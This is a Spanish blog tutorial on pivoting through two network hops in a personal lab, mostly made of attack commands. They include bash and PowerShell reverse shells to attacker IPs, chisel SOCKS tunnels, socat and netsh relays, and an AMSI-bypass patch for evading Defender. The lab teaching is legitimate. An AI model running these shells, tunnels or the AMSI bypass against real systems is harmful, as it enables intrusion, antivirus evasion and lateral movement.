Pivoting con dos saltos
Para hacer este artículo me he montado un pequeño laboratorio con dos máquinas ubuntu server 22.04 y otra con windows 10, para mostrar como funciona el pivoting con dos saltos. No se explota ninguna vulnerabilidad puesto que el propósito del artículo es sólamente mostrar como funciona el pivoting cuando hay más de un salto. Accederemos a la máquina server1 (ubuntu) y montaremos un proxy socks para, a través de él, llegar a la máquina windows, que está en otro segmento de red. Después accederemos a la máquina windows a través del proxy controlando el tráfico de ida y el de vuelta, y por último accederemos a la tercera máquina server2 (ubuntu), que estará en un tercer segmento de red, a través de otro proxy que habremos montado en la máquina windows controlando también el tráfico en la ida y en la vuelta, donde esta vez pasará a través de dos máquinas para llegar a la nuestra.
Descripción del laboratorio
Máquina server1
- SO: Ubuntu Server 22.04
- Interfaz de red 1: 192.168.0.145
- Interfaz de red 2: 172.16.0.2
Máquina Windows 10
- SO: Windows 10 Pro x64
- Interfaz de red 1: 172.16.0.4
- Interfaz de red 2: 10.10.0.3
Máquina server2
- SO: Ubuntu Server 22.04
- Interfaz de red 1: 10.10.0.4
Máquina atacante:
- SO: Arch Linux
- Interfaz de red 1: 192.168.0.151
Acceso a la máquina server1
Vamos a suponer que hemos descubierto una vulnerabilidad en la máquina server1, y hemos conseguido ejecución de código. Lanzamos una reverse shell y obtenemos acceso directo puesto que la máquina está en el mismo segmento de red que la nuestra.
Nos ponemos a la escucha con netcat en nuestra máquina y lanzamos una reverse shell desde server1 y nos llega perfectamente.
Máquina atacante:
sudo nc -lvnp 443
Máquina server1:
sh -i >& /dev/tcp/192.168.0.151/443 0>&1
Y convertimos la shell en una tty totalmente interactiva.
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+z
stty raw -echo;fg
INTRO
export TERM=xterm
Socks proxy para llegar a la máquina windows.
Ahora vemos que la máquina tiene otra interfaz de red con la ip 172.16.0.2 y buscamos más máquinas que puedan estar en este segmento de red.
ip a
for i in {1..255} ; do (ping -c 1 172.16.0.$i | grep "bytes from" | cut -d ' ' -f4 | tr -d ':' &); done
Vemos que hay otra máquina en la ip 172.16.0.4
Vamos a descargar chisel para linux desde aquí chisel y lo vamos a subir a la máquina server1.
Levantamos un servidor http en nuestra máquina compartiendo chisel, lo descargamos desde la máquina server1 con wget y le damos permisos de ejecución.
Máquina atacante:
python3 -m http.server
Máquina server1:
wget http://192.168.0.151:8000/chisel
chmod +x chisel
Ejecutamos en nuestra máquina atacante el servidor de chisel:
./chisel server --reverse --port 1234
Y en server1 nos conectamos al servidor en modo proxy socks:
./chisel client 192.168.0.151:1234 R:socks
Podemos ver en nuestra máquina que se ha creado el túnel correctamente en el puerto 1080, es así por defecto si no especificamos ningún puerto.
Ahora añadimos la siguiente línea en el fichero proxychains.conf para que quede configurado para usar el proxy, y comentamos con # si hay algún otro proxy configurado para que solo actúe el nuestro en el puerto 1080.
socks5 127.0.0.1 1080
A partir de este momento las peticiones que hagamos con proxychains llegarán a la ip del windows, que está configurado en el segmento 172.16.0.0/24.
proxychains4 -q nmap -p445 -sT -T5 -Pn -v -n 172.16.0.4
Y vemos que llegamos y nos devuelve que tiene el puerto 445 abierto.
Acceso a la máquina windows
Seguidamente lo que queremos es acceder a la máquina windows, pero claro, si lanzamos una reverse shell hacia nuestra ip de atacante no va a llegar, puesto que no tiene comunicación directa con nosotros por estar en otro segmento de red. Atacante(192.168.0.151) Windows (172.16.0.4). Lanazaremos la reverse shell a la ip del server1 (172.16.0.2) y redigiremos la conexión con socat hasta nuestra ip de atacante. Podemos descargar socat desde aquí –> socat.
Lo descargamos y lo tranferimos a la máquina server1 igual que hicimos con chisel y le damos permisos de ejecución.
./socat TCP-LISTEN:1111,fork TCP:192.168.0.151:9001
Aquí estamos diciendo al server1 que todo el tráfico que llegue por el puerto 1111 lo redirija a la ip 192.168.0.151 (atacante) por el puerto 9001, que es donde estaremos a la escucha con netcat para recibir la conexión.
Ahora tenemos que lanzar la revere shell desde windows, a la ip 172.16.0.2 (server1) por el puerto 1111, y socat se encargará de enviarla a nuestra máquina atacante.
Reverse shell:
$client = New-Object System.Net.Sockets.TCPClient('172.16.0.2',1111);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Si lo ejecutamos tal cual va a saltar el defender quejándose de que es software malicioso. Podemos hacer un bypass al AMSI muy fácil ejecutando el siguiente código antes de ejecutar la reverse shell:
Bypass AMSI de Rastamouse:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
Ejecutamos primero el bypass y luego la reverse shell, y vemos que nos llega la conexión a nuestra máquina atacante.
Socks proxy para llegar a la tercera máquina
Vamos a subir chisel a la máquina windows para crear otro túnel proxy socks. Esta vez utilizamos chisel para windows, lógicamente, y se descarga del mismo sitio que el de windows.
De nuevo no tenemos conectividad directa con nuestra máquina atacante, así que haremos lo siguiente:
- Levantamos un recurso compartido SMB en el puerto 445 de nuestra máquina atacante.
- En server1 ejecutamos de nuevo socat para redirigir el tráfico que llegue por el puerto 445 a nuestra máquina.
- Por último simplemente copiamos el archivo por SMB, ya que haremos la petición desde el windows a la máquina server1, que redirigirá el tráfico hasta nuestro recurso compartido en nuestra máquina.
Máquina atacante:
smbserver.py ximo . -smb2support
Máquina server1:
sudo ./socat TCP-LISTEN:445,fork TCP:192.168.0.151:445
Máquina windows:
copy \\172.16.0.2\ximo\chisel.exe chisel.exe
Hacemos la petición al server1 pero nos llega a nosotros en la máquina atacante gracias a socat.
Vemos con ipconfig que tiene otra interfaz de red con la ip 10.10.0.3, así que vamos a ver si hay más máquinas en ese rango. Lo hacemos con este comando:
1..20 | % {"10.10.0.$($_): $(Test-Connection -count 1 -comp 10.10.0.$($_) -quiet)"}
Y vemos que hay otra máquina en la ip 10.10.0.4
Ahora tenemos que ejecutar chisel para levantar otro túnel socks, pero tenemos que hacer la petición a la máquina server1 (172.16.0.2) ya que no tenemos conexión con nuestra máquina. En server1 tenemos que redirigir el tráfico para que llegue a nuestra máquina al puerto 1234 que es donde está nuestro servidor chisel.
Máquina server1:
./socat TCP-LISTEN:2222,fork TCP:192.168.0.151:1234
El tráfico que llegue por el puerto 2222 lo redirige a nuestra máquina en el puerto 1234.
Máquina windows:
./chisel.exe client 172.16.0.2:2222 R:3333:socks
Enviamos la petición a server1 por el puerto 2222 para que llegue a nuestro servidor chisel en el 1234. Y el túnel quedará levantado en el puerto 3333.
Si vamos a nuestro servidor chisel vemos que hay un nuevo túnel en el puerto 3333.
Vamos al proxychains.conf y añadimos el nuevo túnel justo encima del que ya teníamos. Tiene que quedar así:
socks5 127.0.0.1 3333
socks5 127.0.0.1 1080
De esta forma proxychains utilizará los dos proxys y podremos llegar a la máquina server2 (10.10.0.4)
proxychains4 -q nmap -p22 -sT -T5 -Pn -v -n 10.10.0.4
Y vemos que llegamos y nos devuelve el puerto 22 abierto.
Acceso a la máquina server2
Ahora se complica un poco la cosa. Tenemos que lanzar una reverse shell desde server2 (10.10.0.4) a la máquina windows (10.10.0.3) que redirige el tráfico a la máquina server1 (172.16.0.2) que a su vez redirige el tráfico a nuestra máquina (192.168.0.151).
Máquina windows:
netsh interface portproxy add v4tov4 listenport=4444 listenaddress=0.0.0.0 connectport=5555 connectaddress=172.16.0.2
El tráfico que llegue por el puerto 4444 lo redirige a server1 (172.16.0.2) por el puerto 5555.
El comando no devuelve ningún output, pero podemos ver con netstat que el puerto 4444 está a la escucha.
netstat -an | findstr 4444
Máquina server1:
./socat TCP-LISTEN:5555,fork TCP:192.168.0.151:6666
El tráfico que llegue por el puerto 5555, que hemos definido con netsh, lo redirige a la máquina atacante (192.168.0.151) por el puerto 6666.
Máquina atacante:
nc -lvnp 6666
Nos ponemos a la escucha en el puerto 6666.
Máquina server2:
sh -i >& /dev/tcp/10.10.0.3/4444 0>&1
Lanzamos la reverse shell a la máquina windows por el puerto 4444, que habíamos definido con netsh, la conexión será redirigida a la máquina server1 por el puerto 5555, luego la máquina server1 recibirá la conexión y la redigirá a nuestra máquina por el puerto 6666 que es el que tenemos a la escucha con netcat para recibir la reverse shell.
Y hemos conseguido acceder a la última máquina, que está en la 10.10.0.4, haciendo pasar la conexión a través de las otras dos máquinas hasta llegar a la nuestra.